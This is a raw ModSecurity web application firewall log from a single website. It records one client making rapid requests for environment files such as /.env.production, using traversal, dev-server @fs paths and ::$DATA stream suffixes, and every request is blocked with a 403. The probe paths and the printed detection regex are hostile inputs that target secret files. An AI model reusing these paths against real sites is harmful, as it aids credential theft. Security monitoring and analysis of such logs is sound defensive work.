[Mon Oct 26 01:41:54.530489 2026] [security2:error] [pid 2973345:tid 2973345] [client 34.104.156.199:60214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7oIjmdE81tCi2v472e-gAAABg"]
[Mon Oct 26 01:41:54.531062 2026] [security2:error] [pid 2973345:tid 2973345] [client 34.104.156.199:60214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production"] [unique_id "at7oIjmdE81tCi2v472e-gAAABg"]
[Mon Oct 26 01:41:54.531978 2026] [security2:error] [pid 2973345:tid 2973345] [client 34.104.156.199:60214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIjmdE81tCi2v472e-gAAABg"]
[Mon Oct 26 01:41:54.580766 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.104.156.199:60152] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7oIoxjGi9drRw_gnmvcwAAABc"]
[Mon Oct 26 01:41:54.581355 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.104.156.199:60152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7oIoxjGi9drRw_gnmvcwAAABc"]
[Mon Oct 26 01:41:54.582316 2026] [security2:error] [pid 2968015:tid 2968015] [client 34.104.156.199:60152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIoxjGi9drRw_gnmvcwAAABc"]
[Mon Oct 26 01:41:54.674623 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:60148] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7oIj_i4HNCTNPOg5uzDQAAAAw"]
[Mon Oct 26 01:41:54.675050 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:60148] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7oIj_i4HNCTNPOg5uzDQAAAAw"]
[Mon Oct 26 01:41:54.675836 2026] [security2:error] [pid 2973332:tid 2973332] [client 34.104.156.199:60148] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIj_i4HNCTNPOg5uzDQAAAAw"]
[Mon Oct 26 01:41:54.681463 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:60146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/root/.env"] [unique_id "at7oIgxAu6O5Rl3lUdFIdQAAAAc"]
[Mon Oct 26 01:41:54.681891 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:60146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/root/.env"] [unique_id "at7oIgxAu6O5Rl3lUdFIdQAAAAc"]
[Mon Oct 26 01:41:54.682221 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:60222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7oIhuTgBg4-l9uWelcIAAAAA4"]
[Mon Oct 26 01:41:54.682630 2026] [security2:error] [pid 2967982:tid 2967982] [client 34.104.156.199:60146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIgxAu6O5Rl3lUdFIdQAAAAc"]
[Mon Oct 26 01:41:54.682657 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:60222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development"] [unique_id "at7oIhuTgBg4-l9uWelcIAAAAA4"]
[Mon Oct 26 01:41:54.683400 2026] [security2:error] [pid 2973334:tid 2973334] [client 34.104.156.199:60222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIhuTgBg4-l9uWelcIAAAAA4"]
[Mon Oct 26 01:41:54.777605 2026] [security2:error] [pid 2973323:tid 2973323] [client 34.104.156.199:60142] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIgjvxj7QW3rihjPlywAAAAM"]
[Mon Oct 26 01:41:54.778135 2026] [security2:error] [pid 2973323:tid 2973323] [client 34.104.156.199:60142] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/.env"] [unique_id "at7oIgjvxj7QW3rihjPlywAAAAM"]
[Mon Oct 26 01:41:54.778995 2026] [security2:error] [pid 2973323:tid 2973323] [client 34.104.156.199:60142] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oIgjvxj7QW3rihjPlywAAAAM"]
[Mon Oct 26 01:41:55.007840 2026] [security2:error] [pid 2973343:tid 2973343] [client 34.104.156.199:60244] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7oI7tRGcIJ-hO8rJ4CJQAAABU"]
[Mon Oct 26 01:41:55.008405 2026] [security2:error] [pid 2973343:tid 2973343] [client 34.104.156.199:60244] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local"] [unique_id "at7oI7tRGcIJ-hO8rJ4CJQAAABU"]
[Mon Oct 26 01:41:55.009328 2026] [security2:error] [pid 2973343:tid 2973343] [client 34.104.156.199:60244] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI7tRGcIJ-hO8rJ4CJQAAABU"]
[Mon Oct 26 01:41:55.019102 2026] [security2:error] [pid 2973342:tid 2973342] [client 34.104.156.199:60226] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oI7kOD9Ny-2FD8uDmgwAAABQ"]
[Mon Oct 26 01:41:55.019431 2026] [security2:error] [pid 2973342:tid 2973342] [client 34.104.156.199:60226] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oI7kOD9Ny-2FD8uDmgwAAABQ"]
[Mon Oct 26 01:41:55.020343 2026] [security2:error] [pid 2973342:tid 2973342] [client 34.104.156.199:60226] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI7kOD9Ny-2FD8uDmgwAAABQ"]
[Mon Oct 26 01:41:55.161027 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:60260] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_nuxt/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oI0hKYrNeTnGv3xbKXAAAAEk"]
[Mon Oct 26 01:41:55.161150 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:60260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oI0hKYrNeTnGv3xbKXAAAAEk"]
[Mon Oct 26 01:41:55.161360 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:60260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at7oI0hKYrNeTnGv3xbKXAAAAEk"]
[Mon Oct 26 01:41:55.162225 2026] [security2:error] [pid 2963588:tid 2963588] [client 34.104.156.199:60260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI0hKYrNeTnGv3xbKXAAAAEk"]
[Mon Oct 26 01:41:55.189122 2026] [security2:error] [pid 2968421:tid 2968421] [client 34.104.156.199:60296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.local::$DATA"] [unique_id "at7oI69HOFwLIIPpv8hGsAAAAAQ"]
[Mon Oct 26 01:41:55.189679 2026] [security2:error] [pid 2968421:tid 2968421] [client 34.104.156.199:60296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.local::$DATA"] [unique_id "at7oI69HOFwLIIPpv8hGsAAAAAQ"]
[Mon Oct 26 01:41:55.190572 2026] [security2:error] [pid 2968421:tid 2968421] [client 34.104.156.199:60296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI69HOFwLIIPpv8hGsAAAAAQ"]
[Mon Oct 26 01:41:55.193425 2026] [security2:error] [pid 2973339:tid 2973339] [client 34.104.156.199:60272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.production::$DATA"] [unique_id "at7oI0LfAtLzrAr2exYz5gAAABE"]
[Mon Oct 26 01:41:55.193759 2026] [security2:error] [pid 2973339:tid 2973339] [client 34.104.156.199:60272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.production::$DATA"] [unique_id "at7oI0LfAtLzrAr2exYz5gAAABE"]
[Mon Oct 26 01:41:55.194542 2026] [security2:error] [pid 2973339:tid 2973339] [client 34.104.156.199:60272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI0LfAtLzrAr2exYz5gAAABE"]
[Mon Oct 26 01:41:55.264854 2026] [security2:error] [pid 2973324:tid 2973324] [client 34.104.156.199:60248] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env::$DATA"] [unique_id "at7oI702Qm1s9OQgRTh0kgAAAAg"]
[Mon Oct 26 01:41:55.265348 2026] [security2:error] [pid 2973324:tid 2973324] [client 34.104.156.199:60248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env::$DATA"] [unique_id "at7oI702Qm1s9OQgRTh0kgAAAAg"]
[Mon Oct 26 01:41:55.266305 2026] [security2:error] [pid 2973324:tid 2973324] [client 34.104.156.199:60248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at7oI702Qm1s9OQgRTh0kgAAAAg"]
[Mon Oct 26 01:41:55.327502 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:60262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env.development::$DATA"] [unique_id "at7oI4B2F91qaH1mx9i0FAAAAAA"]
[Mon Oct 26 01:41:55.328011 2026] [security2:error] [pid 2971501:tid 2971501] [client 34.104.156.199:60262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env.development::$DATA"] [unique_id "at7oI4B2F91qaH1mx9i0FAAAAAA"]
